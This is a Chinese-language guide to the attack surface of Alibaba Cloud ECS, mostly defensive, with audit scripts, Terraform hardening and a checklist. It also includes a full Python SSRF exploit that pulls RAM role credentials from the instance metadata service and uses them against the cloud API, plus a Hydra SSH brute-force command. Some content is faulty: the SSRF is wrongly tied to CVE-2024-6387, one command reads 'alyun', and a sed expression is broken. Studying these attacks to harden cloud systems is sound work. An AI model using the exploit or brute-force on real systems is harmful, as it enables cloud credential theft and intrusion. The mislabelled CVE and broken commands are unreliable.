一、阿里云 ECS 攻击面全景
云服务器的攻击面比传统服务器大得多,因为引入了云平台特有的组件:
攻击面层级(从内到外)
┌────────────────────────────────────────────────────────────┐
│ Layer 1: 实例内部 │
│ - SSH 密码登录 / 弱密码 │
│ - 不必要的对外开放端口 │
│ - 安装 malware / 挖矿程序 │
├────────────────────────────────────────────────────────────┤
│ Layer 2: 实例元数据 │
│ - 169.254.169.254 Metadata Service (IMDSv1 SSRF) │
│ - Instance RAM Role 临时凭证泄露 │
│ - 实例 user-data / shutdown script 泄露 │
├────────────────────────────────────────────────────────────┤
│ Layer 3: 阿里云控制面 │
│ - 安全组错误配置(0.0.0.0/0 + SSH) │
│ - VPC 对等连接滥用 │
│ - 云盘快照公开 │
│ - OSS Bucket 公开读取 │
├────────────────────────────────────────────────────────────┤
│ Layer 4: RAM 权限 │
│ - 主账号 AK/SK 泄露 │
│ - 子账号过宽权限 │
│ - RAM Role TrustPolicy 配置不当 │
└────────────────────────────────────────────────────────────┘
二、攻击面 1:安全组配置错误
2.1 最常见的高危配置
# 列出所有开放 0.0.0.0/0 的安全组
aliyun ecs DescribeSecurityGroups --region-id cn-hangzhou --output json | jq -r '.SecurityGroups.SecurityGroup[] | .SecurityGroupId' |
while read sg; do
alyun ecs DescribeSecurityGroupAttribute --region-id cn-hangzhou --security-group-id $sg --output json | jq -r '.Permissions.Permission[] | select(.SourceCidrIp == "0.0.0.0/0" or .SourceCidrIp == "::/0") | "🔴 $sg: (.IpProtocol) (.PortRange) ← (.SourceCidrIp)"'
done
2.2 危险的安全组配置示例
❌ 危险:
{
"Protocol": "tcp",
"PortRange": "22/22",
"SourceCidrIp": "0.0.0.0/0" # 全球可 SSH
}
❌ 更危险:
{
"Protocol": "all",
"PortRange": "-1/-1",
"SourceCidrIp": "0.0.0.0/0" # 全协议全端口开放
}
❌ 隐藏危险:
{
"Protocol": "tcp",
"PortRange": "3389/3389", # Windows RDP
"SourceCidrIp": "10.0.0.0/8" # VPC 内网开放 RDP
}
# VPC 内任何被攻陷的实例都能 RDP 到这台 Windows
2.3 Terraform 加固模板
# main.tf - 阿里云安全组加固模板
provider "alicloud" {
region = "cn-hangzhou"
}
# 安全基线安全组: 只有必需的端口,最小 CIDR
resource "alicloud_security_group" "hardened" {
name = "hardened-sg"
description = "最小权限安全组 - 仅允许 80/443/22 from office IP"
vpc_id = alicloud_vpc.main.id
# 规则
ingress {
protocol = "tcp"
port_range = "443/443"
cidr_ip = "0.0.0.0/0" # HTTPS 对外开放
description = "HTTPS - public"
}
ingress {
protocol = "tcp"
port_range = "22/22"
cidr_ip = "203.0.113.0/24" # SSH 仅允许公司办公网段
description = "SSH - office only"
}
# 默认拒绝所有入站(不要加 0.0.0.0/0 规则)
# 不添加其他规则 = 默认拒绝
egress {
protocol = "tcp"
port_range = "443/443"
cidr_ip = "0.0.0.0/0"
description = "HTTPS 出口 - 更新/下载"
}
# 不开放数据库端口(3306/5432/6379)到公网
# 不开放运维端口(8080/9090)到公网
}
# 禁用公网 IP(除非必须)
resource "alicloud_ecs_instance" "server" {
# ... 其他配置 ...
allocate_public_ip = false # 强烈建议!
security_groups = [alicloud_security_group.hardened.id]
}
三、攻击面 2:Metadata Service SSRF (CVE-2024-6387 等)
3.1 这是什么?
阿里云的实例元数据服务(IMDS)地址是 169.254.169.254,在实例内部可以访问。它包含:
- 实例 ID、地域、镜像 ID
- 实例 RAM Role 的临时凭证(AccessKeyId/AccessKeySecret/SecurityToken)
- user-data(实例启动脚本)
- hostname、IP、MAC 地址
3.2 SSRF 攻击路径
攻击者 ──HTTP请求──→ 实例上的 Web 应用(存在 SSRF)
│
├──→ http://169.254.169.254/latest/meta-data/ram/security-credentials/
│
└──→ 返回 RAM Role 临时凭证 → 攻击者控制阿里云资源
3.3 真实 SSRF 利用 PoC
#!/usr/bin/env python3
"""
阿里云 IMDSv1 SSRF 完整利用链
前置: 目标 Web 应用有 SSRF 漏洞(比如 image_proxy?url=xxx)
"""
import requests, json, hmac, hashlib, base64, time
class AliyunSSRFPwn:
def __init__(self, ssrf_endpoint):
"""
ssrf_endpoint: 存在 SSRF 的应用接口,接受 url 参数
例如: "http://target.com/proxy?url={target_url}"
"""
self.ssrf = ssrf_endpoint
self.meta_base = "http://169.254.169.254/latest/meta-data"
def fetch_meta(self, path):
"""通过 SSRF 访问元数据"""
url = self.ssrf.format(target_url=f"{self.meta_base}/{path}")
try:
r = requests.get(url, timeout=5)
return r.text.strip()
except: return None
def exploit(self):
# 1. 探测 IMDS 是否启用
print("[*] 探测 IMDS...")
roles = self.fetch_meta("ram/security-credentials/")
if not roles:
print("[-] 无 RAM Role 或 IMDS 不可达")
return False
print(f"[+] 发现 RAM Role: {roles}")
# 2. 获取临时凭证
role_name = roles.split("
")[0]
creds_raw = self.fetch_meta(f"ram/security-credentials/{role_name}")
creds = json.loads(creds_raw)
print(f"[+] AccessKeyId: {creds['AccessKeyId'][:20]}...")
print(f"[+] Expiration: {creds['Expiration']}")
# 3. 用凭证调用阿里云 API
ak = creds['AccessKeyId']
sk = creds['AccessKeySecret']
token = creds['SecurityToken']
self._explore_resources(ak, sk, token)
return True
def _explore_resources(self, ak, sk, token):
"""用拿到的凭证探索云资源"""
# 简化版: 直接请求 ECS 实例列表
endpoint = "ecs.cn-hangzhou.aliyuncs.com"
params = {
"Action": "DescribeInstances",
"RegionId": "cn-hangzhou",
"Version": "2014-05-26",
"AccessKeyId": ak,
"SecurityToken": token,
"Timestamp": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
"Format": "JSON",
}
# 完整签名见阿里云签名文档
print(f"[*] 用凭证列出 ECS 实例(region=cn-hangzhou)...")
# aliyun CLI 方式更简单:
# aliyun configure set --access-key-id $ak --access-key-secret $sk --sts-token $token
# aliyun ecs DescribeInstances --region-id cn-hangzhou
if __name__ == "__main__":
# 假设我们通过某个 SSRF 拿到了访问通道
# 实际场景: image_proxy?url=http://169.254.169.254/...
AliyunSSRFPwn("http://vulnerable-app.com/proxy?url={target_url}").exploit()
3.4 防御:强制 IMDSv2
# 阿里云控制台 -> ECS -> 实例 -> 元数据选项 -> 强制实例元数据服务 v2
# 或者用 aliyun CLI
aliyun ecs ModifyInstanceMetadataOptions --region-id cn-hangzhou --instance-id i-bp1xxxxxxxx --metadata-http-endpoint enabled --metadata-http-tokens required # 关键: 强制 v2
# IMDSv2 使用 session token,有效阻断 SSRF(需要先 PUT 获得 token)
# 攻击者不能仅靠 GET 请求就能拿到凭证了
四、攻击面 3:RAM 角色权限过大
4.1 常见反模式
// ❌ 实例 RAM Role 给了 AliyunECSFullAccess
{
"Statement": [
{
"Effect": "Allow",
"Action": "ecs:*",
"Resource": "*"
}
]
}
// ❌ TrustPolicy 太宽松
{
"Statement": [
{
"Effect": "Allow",
"Principal": { "Service": "*" },
"Action": "sts:AssumeRole"
}
]
}
// ✅ 正确: 最小权限 + 精确 TrustPolicy
{
"Statement": [
{
"Effect": "Allow",
"Action": [
"oss:GetObject",
"oss:PutObject"
],
"Resource": [
"acs:oss:*:*:my-bucket/app-data/*"
]
}
]
}
// TrustPolicy: 只允许特定 ECS 实例
{
"Statement": [
{
"Effect": "Allow",
"Principal": { "Service": "ecs.aliyuncs.com" },
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"acs:ecs:InstanceId": "i-bp1xxxxxxxx"
}
}
}
]
}
4.2 自动审计 RAM 策略
#!/bin/bash
# audit-ram-policy.sh - 找出过宽的 RAM 策略
aliyun ram ListPolicies --PolicyType Custom --output json | jq -r '.Policies.Policy[] | .PolicyName' | while read policy; do
aliyun ram GetPolicy --policy-name "$policy" --PolicyType Custom --output json | jq -r '.PolicyDefaultVersion.PolicyDocument' | python3 -c "
import json, sys
p = json.loads(sys.stdin.read())
for stmt in p.get('Statement', []):
actions = stmt.get('Action', [])
resources = stmt.get('Resource', [])
eff = stmt.get('Effect')
if eff == 'Allow' and ('*' in actions or '*' in resources):
print(f'🔴 $policy 过宽: action={actions} resource={resources}')
"
done
五、攻击面 4:SSH 密码登录
5.1 测试是否允许密码登录
# 用 Medusa / Hydra 爆破 SSH
# 前提: 安全组开放了 22 端口
hydra -l root -P common-passwords.txt ssh://10.0.0.5 -t 4 -v
# 批量扫描阿里云实例 SSH 是否弱密码
for instance_id in $(aliyun ecs DescribeInstances --region-id cn-hangzhou --output json | jq -r '.Instances.Instance[].InstanceId'); do
pub_ip=$(aliyun ecs DescribeInstanceAttribute --region-id cn-hangzhou --instance-id $instance_id --output json | jq -r '.PublicIp.IpAddress[]')
echo "扫描 $instance_id @ $pub_ip ..."
# hydra -l root -P passwords.txt ssh://$pub_ip -t 4 &
done
5.2 加固
# 1. 禁用密码登录
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^PermitRootLogin yes/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
systemctl restart sshd
# 2. 改用云助手/堡垒机(阿里云安全推荐方式)
aliyun ecs InstallCloudAssistant --region-id cn-hangzhou --instance-ids '["i-bp1xxx"]'
# 用云助手远程执行命令,完全不需要 SSH 端口
# 3. 启用 VPC Root 访问限制
# 阿里云控制台 -> ECS -> 安全配置 -> 只允许从指定 IP 段 SSH
六、攻击面 5:云盘快照公开
6.1 漏洞原理
云盘快照可以被分享给整个阿里云账号或者公开给全网。公开的快照可以被任何人用这个快照创建实例,从而获取快照里的数据。
# 1. 列出自己的快照
aliyun ecs DescribeSnapshots --region-id cn-hangzhou --output json | jq -r '.Snapshots.Snapshot[] | "(.SnapshotId) | (.SnapshotName) | (.Progress) | (.IncreasedSize)GB"'
# 2. 检查快照权限
aliyun ecs DescribeSnapshotSharePermission --region-id cn-hangzhou --snapshot-id s-bp1xxx
# 3. 如果发现快照的 Source CIDR 是 * 或者有未知 account_id,取消分享
aliyun ecs ModifySnapshotAttribute --region-id cn-hangzhou --snapshot-id s-bp1xxx --share-permission private
# 4. 检查 OSS Bucket 是否公开
aliyun oss ls oss:// --region cn-hangzhou
for bucket in $(aliyun oss ls oss:// --region cn-hangzhou | awk '{print $1}' | sed 's////g'); do
acl=$(aliyun oss get-object-acl oss://$bucket/ --region cn-hangzhou 2>/dev/null | jq -r '.acl')
if [ "$acl" != "private" ]; then
echo "🔴 Bucket $bucket ACL = $acl"
aliyun oss set-object-acl oss://$bucket/ --acl private --region cn-hangzhou
fi
done
七、攻击面 6:VPC 对等连接滥用
7.1 场景
公司有多个 VPC,互相建了对等连接。如果其中一个 VPC 里有实例被攻破,攻击者可以通过对等连接横向移动到其他 VPC。
7.2 防御
# 1. 定期审计对等连接
aliyun vpc DescribeVpcPeeringConnections --region-id cn-hangzhou --output json
# 2. 每个对等连接都需要明确的路由表 + 安全组策略
# 不要把整个 VPC CIDR 都宣告过去
# 只宣告特定子网的特定服务端口
# 3. 部署云防火墙在 VPC 边界
aliyun cloudfw DescribeInstanceStatus --region-id cn-hangzhou
# 云防火墙可以做南北向 + 东西向的流量管控
八、攻击面 7:VPC Flow Log 未开
8.1 为什么重要
没有 VPC Flow Log,攻击者在你 VPC 里横向移动你完全看不见。
8.2 启用
aliyun vpc CreateFlowLog --region-id cn-hangzhou --flow-log-name "vpc-flow-log" --traffic-type All --resource-id vpc-bp1xxx --resource-type VPC --project-name aliyun-log-project --logstore-name flow-log-store
# 用阿里云日志服务 (SLS) 查询攻击流量
# 比如找出所有非业务来源的 SSH 连接
# response_direction: inbound
# dst_port: 22
# src_address: NOT (203.0.113.0/24)
九、自动化安全审计脚本
#!/usr/bin/env python3
"""
阿里云 ECS 攻击面一键审计
用法: aliyun configure → python3 audit.py
"""
import subprocess, json, sys, os
def run_aliyun(cmd):
result = subprocess.run(cmd, capture_output=True, text=True, shell=True)
try:
return json.loads(result.stdout)
except: return {}
def audit_security_groups(region):
print("
[1/7] 审计安全组...")
data = run_aliyun(f"aliyun ecs DescribeSecurityGroups --region-id {region} --output json")
dangerous = 0
for sg in data.get("SecurityGroups", {}).get("SecurityGroup", []):
sgid = sg["SecurityGroupId"]
detail = run_aliyun(f"aliyun ecs DescribeSecurityGroupAttribute --region-id {region} --security-group-id {sgid} --output json")
for perm in detail.get("Permissions", {}).get("Permission", []):
src = perm.get("SourceCidrIp", "")
if src in ("0.0.0.0/0", "::/0"):
proto = perm.get("IpProtocol", "")
port = perm.get("PortRange", "")
print(f" 🔴 {sgid}: {proto} {port} ← {src}")
dangerous += 1
print(f" 共发现 {dangerous} 个高危入站规则")
def audit_instances(region):
print("
[2/7] 审计实例...")
data = run_aliyun(f"aliyun ecs DescribeInstances --region-id {region} --output json")
for inst in data.get("Instances", {}).get("Instance", []):
if inst.get("PublicIp", {}).get("IpAddress"):
print(f" 🟡 {inst['InstanceId']}: 公网 IP {inst['PublicIp']['IpAddress']}")
# 检查 RAM Role
role = inst.get("RamRoleName")
if role:
print(f" RAM Role: {role}")
def audit_ram_policies():
print("
[3/7] 审计 RAM 策略...")
data = run_aliyun("aliyun ram ListPolicies --PolicyType Custom --output json")
for p in data.get("Policies", {}).get("Policy", []):
detail = run_aliyun(f"aliyun ram GetPolicy --policy-name '{p['PolicyName']}' --PolicyType Custom --output json")
doc = json.loads(detail.get("PolicyDefaultVersion", {}).get("PolicyDocument", "{}"))
for stmt in doc.get("Statement", []):
if stmt.get("Effect") == "Allow":
acts = stmt.get("Action", [])
ress = stmt.get("Resource", [])
if "*" in acts or "*" in ress:
print(f" 🔴 {p['PolicyName']}: 通配符权限 {acts} {ress}")
def audit_snapshots(region):
print("
[4/7] 审计云盘快照...")
data = run_aliyun(f"aliyun ecs DescribeSnapshots --region-id {region} --output json")
for s in data.get("Snapshots", {}).get("Snapshot", []):
share = run_aliyun(f"aliyun ecs DescribeSnapshotSharePermission --region-id {region} --snapshot-id {s['SnapshotId']} --output json")
permissions = share.get("SharePermissions", {}).get("SharePermission", [])
if permissions:
print(f" 🟡 快照 {s['SnapshotId']}: 已分享给 {len(permissions)} 个账号")
def main():
region = sys.argv[1] if len(sys.argv) > 1 else "cn-hangzhou"
print(f"阿里云 ECS 安全审计 - Region: {region}")
audit_security_groups(region)
audit_instances(region)
audit_ram_policies()
audit_snapshots(region)
print("
审计完成。")
if __name__ == "__main__":
main()
十、总结:阿里云 ECS 安全 Checklist
| 优先级 | 项目 | 措施 |
|---|---|---|
| P0 | Metadata Service | 强制 IMDSv2 |
| P0 | 安全组 | 禁止 0.0.0.0/0 + SSH/RDP/3306 |
| P0 | SSH | 禁用密码登录 + 密钥对 |
| P0 | RAM 角色 | 最小权限 + TrustPolicy 限制实例 |
| P1 | 快照/OSS | 全部设为 private |
| P1 | 审计 | 开启 ActionTrail + VPC Flow Log |
| P1 | 云防火墙 | 南北向/东西向防护 |
| P2 | 态势感知 | 阿里云态势感知订阅 |